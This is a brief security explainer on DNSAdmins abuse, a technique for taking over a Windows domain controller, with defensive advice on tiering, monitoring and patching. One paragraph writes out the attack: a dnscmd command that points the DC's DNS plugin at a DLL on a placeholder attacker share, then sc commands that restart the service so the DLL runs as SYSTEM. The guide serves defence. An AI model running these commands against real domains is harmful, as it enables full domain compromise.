DNSAdmins abuse is a privilege escalation where a member of the DNSAdmins group makes the DNS service load an arbitrary DLL. Because the DNS service (dns.exe) runs as SYSTEM and is usually on the domain controller, loading an attacker DLL yields SYSTEM on a DC, which is domain compromise. It is a classic path from a mid-tier group to tier-0. Defend by treating DNSAdmins as privileged, monitoring the serverlevelplugindll setting, and restricting the group.
What DNSAdmins abuse is
The DNSAdmins group looks harmless, it manages DNS, but the DNS service on a domain controller runs as SYSTEM and supports a plugin DLL. Anyone who can configure that plugin can run their own code with the service's privileges. That makes DNSAdmins an overlooked path to the highest privilege in the domain.
How the attack works
A DNSAdmins member points the DNS service at an attacker DLL with dnscmd <dc> /config /serverlevelplugindll \\attacker\share\evil.dll, then restarts the DNS service (sc \\<dc> stop dns / start dns). On restart the DC loads the DLL and runs the attacker's code as SYSTEM, giving a shell or a hash dump on the domain controller. Payloads are shown for defensive testing.
How to defend against it
Treat DNSAdmins as a tier-0 group and keep its membership minimal and monitored. Alert on changes to the serverlevelplugindll registry value (HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters) and on unexpected DNS service restarts, and prefer running DNS on dedicated servers rather than domain controllers where practical. Newer Windows blocks the plugin load by default, so keep DCs patched.
References
- [1]MITRE ATT&CK Enterprise Matrix(MITRE ATT&CK)
- [2]Microsoft: DNS server security(Microsoft)
A single loosely-managed DNSAdmins member can own a domain controller. Talk to a security expert about auditing your privileged groups.